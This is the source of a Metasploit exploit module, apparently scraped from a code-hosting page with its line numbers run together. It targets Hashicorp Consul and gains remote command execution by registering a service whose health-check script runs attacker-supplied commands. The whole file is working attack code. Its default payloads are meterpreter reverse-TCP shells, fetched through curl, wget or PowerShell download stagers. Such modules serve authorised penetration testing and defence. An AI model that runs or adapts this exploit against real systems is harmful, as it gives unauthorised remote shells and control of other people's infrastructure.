Path: blob/master/modules/exploits/multi/misc/consul_service_exec.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Hashicorp Consul Remote Command Execution via Services API',16'Description' => %q{17This module exploits Hashicorp Consul's services API to gain remote command18execution on Consul nodes.19},20'License' => MSF_LICENSE,21'Author' => [22'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC23'Francis Alexander <helofrancis[at]gmail.com >', # Discovery and PoC24'Quentin Kaiser <kaiserquentin[at]gmail.com>', # Metasploit module25'Matthew Lucas <mattglucas97[at]gmail.com>' # Windows support for Metasploit module26],27'References' => [28[ 'URL', 'https://www.consul.io/api/agent/service.html' ],29[ 'URL', 'https://github.com/torque59/Garfield' ]30],31'Targets' => [32[33'Linux',34{35'Platform' => 'linux',36'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'],37'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }38}39],40[41'Windows',42{43'Platform' => 'win',44'CmdStagerFlavor' => 'psh_invokewebrequest',45'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }46}47]48],49'Payload' => {},50'Privileged' => false,51'DefaultTarget' => 0,52'DisclosureDate' => '2018-08-11',53'Notes' => {54'Reliability' => UNKNOWN_RELIABILITY,55'Stability' => UNKNOWN_STABILITY,56'SideEffects' => UNKNOWN_SIDE_EFFECTS57}58)59)60register_options(61[62OptString.new('TARGETURI', [true, 'The base path', '/']),63OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),64OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),65Opt::RPORT(8500)66]67)68end6970def check71res = send_request_cgi({72'method' => 'GET',73'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),74'headers' => {75'X-Consul-Token' => datastore['ACL_TOKEN']76}77})7879unless res80vprint_error 'Connection failed'81return CheckCode::Unknown82end8384unless res.code == 20085vprint_error 'Unexpected reply'86return CheckCode::Safe87end8889agent_info = JSON.parse(res.body)9091if agent_info['Config']['EnableScriptChecks'] == true || agent_info['DebugConfig']['EnableScriptChecks'] == true || agent_info['DebugConfig']['EnableRemoteScriptChecks'] == true92return CheckCode::Vulnerable93end9495CheckCode::Safe96rescue JSON::ParserError97vprint_error 'Failed to parse JSON output.'98return CheckCode::Unknown99end100101def execute_command(cmd, _opts = {})102uri = target_uri.path103service_name = Rex::Text.rand_text_alpha(5..10)104print_status("Creating service '#{service_name}'")105106# NOTE: Timeout defines how much time the check script will run until107# getting killed. Arbitrarily set to one day for now.108case target.name109when /Linux/110arg1 = 'sh'111arg2 = '-c'112when /Windows/113arg1 = 'cmd.exe'114arg2 = '/c'115end116res = send_request_cgi({117'method' => 'PUT',118'uri' => normalize_uri(uri, 'v1/agent/service/register'),119'headers' => {120'X-Consul-Token' => datastore['ACL_TOKEN']121},122'ctype' => 'application/json',123'data' => {124ID: service_name.to_s,125Name: service_name.to_s,126Address: '127.0.0.1',127Port: 80,128check: {129Args: [arg1, arg2, cmd.to_s],130interval: '10s',131Timeout: '86400s'132}133}.to_json134})135unless res && res.code == 200136fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.')137end138print_status("Service '#{service_name}' successfully created.")139print_status("Waiting for service '#{service_name}' script to trigger")140sleep(12)141print_status("Removing service '#{service_name}'")142res = send_request_cgi({143'method' => 'PUT',144'uri' => normalize_uri(145uri,146"v1/agent/service/deregister/#{service_name}"147),148'headers' => {149'X-Consul-Token' => datastore['ACL_TOKEN']150}151})152if res && res.code != 200153fail_with(Failure::UnexpectedReply,154'An error occured when contacting the Consul API.')155end156end157158def exploit159execute_cmdstager160end161end162163164